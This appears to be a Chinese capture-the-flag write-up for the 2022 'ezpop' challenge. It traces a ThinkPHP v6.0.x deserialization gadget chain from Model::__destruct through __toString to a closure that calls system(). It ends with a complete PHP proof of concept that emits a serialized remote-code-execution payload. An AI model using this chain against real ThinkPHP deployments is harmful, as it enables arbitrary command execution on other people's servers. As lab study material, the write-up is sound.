2022国赛 —ezpop
题目地址:下载
前言
本题是一个代码审计的题,题目就存在于web目录下的www.zip中
由于存在源码,所以就用源码搭建靶场 : ezpop.com
涉及的漏洞:是ThinkPhp v6.0.x反序列化漏洞
预备知识
__destruct()
销毁时触发__construct()
php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。$closure
闭包函数
打开控制器,查看反序列化可控点:
我们首先测试一下这个反序列化的可控点能不能利用:
http://ezpop.com/index.php/index/hello
目标:用__destruct()
调用 __toString()
再产生匿名函数,最后执行代码
所以我们这个php反序列化链分为三个部分一个是__destruct()
触发 __toString()
魔术方法,第二个是执行代码, 最后一个是整合并写出poc
第一部分
这次的漏洞方法就开始于Model.php这个文件的Mode类下的__destruct()
魔术方法
并且这个Model类是一个抽象类
在__destruct()
方法中,我们把 this->lazySave
设为True
之后就可以进入到save() 方法中 ,然后得到第一个条件:
$this->lazySave = Ture;
跟进save方法:
首先不能让异常直接返回false,所以第一个if判断需要绕过,让isEmpty()返回假,然后我们进入 $this→isEmpty()
需要 $this→data
不为空,然后我们得到第二个条件
$this->data = [不为空];
回到save函数中,之后我们需要进入到updataData()
方法中,需要让方法 $this→exists
为真,然后得到第三个条件:
$this->exists = True;
接下来就可以进入到 updateData()
方法中:
在 updateData()
中的 $this->trigger()
默认返回false,就不管了
之后的方法大多没有用,直到$this->checkAllowFields()
这个方法,跟进方法:
在$this->checkAllowFields()
方法中有一个$this→db()
的方法,这个方法中有一段代码:
出现了字符串拼接,然后如果拼接一个有__toString()
方法的对象,就会触发这个方法
然后我们回过头去看调用这个db()
方法的条件:
$this->field
为空,
$this->schema
为空,
然后发现默认就是空,
也就是说这个db()
默认就可以直接调用
而在这个db()中就有字符串拼接:
其中的this→table()
方法可以触发__toString()
方法
得到第四个条件:
$this->table = $obj;
第二部分
先全局搜索__toString()
发现在vendor\topthink\think-orm\src\model\concern\Conversion.php中的trait类(可以实现代码复用的抽象类) Conversion中存在__toString()
方法:
进入 toJson()
方法中
这里是调用 $this→toArray()
,然后将返回值用json编码返回,我们进入到 $this→toArray()
方法中
** getAttr($key) 中的$key来自于$this→data**中的key值
进入到getAttr()
方法中,这个方法定义在Attribute.php的trait Attribute()中 :
getValue()
方法就是漏洞方法,但是传入其中的参数value是需要通过getData()
生成的,然后我们进入
getData()
的方法看一下如何生成value参数:
$this→data
的值是可以控制的,也就是说当运行到第二个return
的时候,就表示这个getData()
方法返回可控。
所以我们需要给getData()
传入一个$this→data
的key值,然后通过这个方法获得$this→data
的value值
** getValue()传入的参数是 $this→data中的键和键值对**
现在getData()
方法也可控了,回到getAttr()
方法中,然后进入漏洞方法getValue()
中
需要确保$fileName
在$this->json
中并且$this->withAttr[fieldName]
存在,然后得到第五个条件:
$this->withAttr = ['' => ['']]; // 键$filename所对应的值存在
$this->json = ['', ['']]; //存在$filename , $filename 即$this->data的键
现在进入方法getJsonValue()
中:
当$this→jsonAssoc
为真的时候,就可以返回一个闭包函数,然后我们通过传入的参数,就可以控制闭包参数里面的内容第六个参数:
$this->jsonAssoc = True;
这个闭包函数是把$this→withAttr
中和$this→data
具有同样键的键值元素组成闭包函数,然后返回,第七个参数:
$this->data = ['a' => ['dir']]; //a是可以随便写的,只要四个a地方值相同就可以
$this->withAttr = ['a' => ['system']];
$this->json = ['a', ['a']]; //两个json是为了传入两次
第三部分
由于之前的Modle和Conversion类都是抽象类,所以需要寻找一个调用了这两个类的可以实例化的类,通过搜索我们发现Pivot()类是Model的一个子类:
最后实例化这个Pivot()就可以完成上面的操作。
编写poc:
首先建好命名空间,
namespace think {
abstract class Model
{
}
}
然后Model中我们需要的变量:
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
然后初始化这些变量:
function __construct($obj = '')
{
$this->lazySave = True;
$this->data = ['a' => ['dir']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['a' => ['system']];
$this->json = ['a', ['a']];
$this->jsonAssoc = True;
}
然后初始化Pivot:
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
执行:
namespace{
$a = new think\model\Pivot(); //第二条链
$b = new think\model\Pivot($a);//第一条链
echo(urlencode(serialize($b)));
}
最终效果:
<?php
namespace think {
abstract class Model
{ private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = '')
{
$this->lazySave = True;
$this->data = ['a' => ['dir']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['a' => ['system']];
$this->json = ['a', ['a']];
$this->jsonAssoc = True;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
namespace{
$a = new think\model\Pivot(); //第二条链
$b = new think\model\Pivot($a);//第一条链
echo(urlencode(serialize($b)));
}